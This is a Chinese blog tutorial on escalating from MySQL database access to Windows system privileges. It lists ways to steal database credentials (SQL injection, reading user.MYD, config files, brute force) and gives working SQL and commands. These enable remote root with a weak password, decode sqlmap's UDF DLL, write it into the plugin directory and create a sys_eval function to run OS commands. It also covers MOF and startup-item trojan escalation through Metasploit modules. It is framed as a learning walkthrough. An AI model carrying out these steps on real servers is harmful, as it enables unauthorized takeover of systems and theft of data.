权限提升数据库(基于MySQL的UDF,MOF,启动项提权)

2023-09-18 20:20:06

获取数据库权限

如何获取数据库的最高权限用户的密码,常用方法有这些

网站存在高权限SQL注入点
数据库的存储文件或备份文件
网站应用源码中的数据库配置文件
采用工具或脚本爆破

 网站存在高权限SQL注入点

可以通过sqlmap拿到user表的账号密码,密码可能是MD5加密的。可以通过下面网站进行解密md5在线解密破解,md5解密加密 (cmd5.com)

 数据库的存储文件或备份文件

如图,打开C:\phpStudy\MySQL\data\mysql\user.MYD

 可以看到保存了账号密码,通过MD5解密得到密码

网站应用源码中的数据库配置文件

寻找config,inc等配置文件,最有效

采用工具或脚本爆破 

尝试弱密码或默认密码进行爆破

数据库提权

当我们可以通过远程连接拿到了数据库权限后,尝试提权到系统权限,而数据库一般都是高权限运行的,提权得到的权限也会是高权限

UDF提权

UDF(Userdefined function)即用户定义函数,这是MySQL提供给使用者添加新函数的机制

UDF提权的先决条件

获取mysql控制权限:获取了mysql的账号密码,且可以远程登录

mysql具有写入权限,即secure_file_priv的值不为空

开启远程登录

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;    开启远程登录
FLUSH PRIVILEGES;   刷新权限

手动提权及原理

查看MySQL是否有写入文件权限

show global variables like '%secure%';

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出,这个提权方法就失效了
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

这里为了实验需要,在配置文件加上这个选项

上传UDF的动态链接库文件

MySQL版本小于5.1导出C:\Windows\System32

MySQL版本大于5.1导出MySQL安装目录的lib\plugin,现在MySQL版本几乎都在这个范围

 select version();查看MySQL版本

select @@basedir;查看MySQL安装目录路径,sql里一个@表示变量引用,@@表示系统变量和全局变量

这里有一个问题,plugin文件可能不存在,这是网上说的一种方法,现在已经不行了

select 'xxx' into dumpfile 'C:\MySQL\lib\plugin::$INDEX_ALLOCATION';

遇到这种情况只能看自己是否能获取到Web权限,比如通过数据库里的账号密码信息,然后手动加上plugin或者尝试不用数据库来提权了

查看插件位置

show variables like 'plugin%';

现在我们需要查看操作系统和数据库的架构情况

select @@version_compile_os, @@version_compile_machine;

dll文件通过在sqlmap来获取

 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用 ,sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

 解密命令 python cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

 

 

接下来,就是把dll文件复制到plugin下,注意路径替换为自己的路径,这里需要注意\\,否则可能报错

select hex(load_file('E:\\sqlmap-1.7\\extra\\cloak\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';

写入udf.dll成功 

创建自定义函数

函数已经写好,下一步就是调用的问题了,创建自定义函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

查看是否创建成功

select * from mysql.func;

执行系统命令 

select sys_eval('whoami')

MOF提权

MOF提权在2008后因为权限控制而失效

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权

使用方法

使用msf  use exploit/windows/mysql/mysql_mof 

启动项提权 

将木马文件写入目标机器的启动项,当目标机器重启时,启动项里的木马也会一起执行,受到前面的secure_file_priv限制,如果限制了启动项,这种提权方式自然也失败了

 use exploit/windows/mysql/mysql_start_up

更多推荐

【计算机网络】第三讲网络相关协议讲解(DNS、NAT、ICMP、总结)

相关协议1.DNS域名解析协议2.ICMP协议3.NAT技术3.1安全隐患3.2安全策略3.3正反向代理理解4.总结1.DNS域名解析协议DNS代表域名系统(DomainNameSystem),它是互联网上用于将人类可读的域名(如www.example.com)映射到计算机可理解的IP地址(如192.168.1.1)的

非独立随机变量的概率上界估计

目前的概率论或者随机变量书籍过分强调对独立随机变量的大数定律,中心极限定理,遗憾上界的估计。而对于非独立随机变量的研究很少,在《概率论的极限定理》中曾给出过一般随机变量求和的渐进分布簇的具体形式,然而形式却太过复杂。下面将以切比雪夫不等式为基本出发点,研究非独立情况下的随机变量均值的一个误差上界,为后面研究提供基础。(

sentinel环境搭建以及微服务接入

•sentinel部署•sentinel-镜像制造•sentinel-镜像推送•sentinel-部署配置文件•访问控制台•外网访问控制台•集群内访问•配置规则•限流效果•微服务接入•pom文件引入依赖•pod部署文件添加配置Sentinel控制台是流量控制、熔断降级规则统一配置和管理的入口,它为用户提供了机器自发现、

UML基础与应用之对象图

什么是对象图?对象图表示一组对象及它们之间的关系,是某一时刻系统详细信息的快照,描述系统交互的静态图形,它由协作的对象组成,但不包含在对象之间传递的任何消息。因为对象是类的实例化,所以说某一时刻系统中的某一类中的某一个对象和另一类中某一个对象之间的关系就可以说是对象图,表示类图的一个实例。对象图:表示在某一时刻一组对象

vue消息订阅与发布

1.知识点是一种组件间通信的方式,适用于任意组件间通信2.使用步骤“消息订阅与发布”可依赖的第三方很多,这里使用pubsub-js库1.安装pubsub:npmipubsub-js2.引入:importpubsubfrom'pubsub-js'3.接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件中

Java多线程(一)

文章目录一、程序、进程、线程基本概念1.程序(program)2.进程(process)3.线程(thread)二、单核CPU和多核CPU的理解三、并行和并发1.并行2.并发四、创建多线程的方式一(继承Thread类)1.创建两个分线程,其中一个线程遍历100以内的偶数,另外一个线程遍历100以内的奇数2.售票案例五、

wait函数与waitpid函数

1.函数介绍2.wait函数#include<sys/types.h>#include<sys/wait.h>pid_twait(int*wstatus);功能:等待任意一个子进程结束,如果该子进程结束了,此函数会回收子进程的资源参数:-int*wstatus:进程退出时的状态信息,传入的是一个int类型的地址,传出参

MySQL学习笔记

目录注释1、启动和关闭MYSQL服务2、库的增删改查3、表的增删改查3.1创建表3.2修改表3.3删除4、数据类型4.1字符串:char(num)与varchar(num)的区别4.2整型4.3浮点型4.4日期型4.5枚举型注释单行注释:#注释文字(没空格)单行注释:--注释文字(有空格)多行注释:/*注释文字*/,注

高效畅通的iOS平台S5配置指南

在iOS平台上,使用S5代理ip访问互联网是一种非常有用的技巧。无论是为了保证隐私安全,还是解决网络限制问题,S5代理ip都能为您提供更快、更稳定的互联网访问体验。本文将为您详细介绍如何在iOS平台上配置和使用S5代理ip,让您的网络畅通无阻!一、了解S5代理ip的工作原理S5代理ip是一种网络代理协议,可以让您的设备

仿网易云-360度混响

一直在用网易云音乐听歌,感觉他的这个动效还是挺不错的,最近也是想试试canvas绘图相关的。尝试了几次之后感觉效果还不错,不过距离网易云的还是有些差距。本期准备仿照制作如下效果:偷偷使用最近比较流行的罗刹海市的音乐来展示这个效果。效果展示如下:效果展示网站参考文档具体的流程大体上就是获取音频数据,然后根据音频数据绘制在

zookeeper集群

一,zookeeper定义Zookeeper是一个开源的分布式的,为分布式框架提供协调服务的Apache项目。二,zookeeper工作机制Zookeeper从设计模式角度来理解:是一个基于观察者模式设计的分布式服务管理框架,它负责存储和管理大家都关心的数据,然后接受观察者的注册,一旦这些数据的状态发生变化,Zooke

热文推荐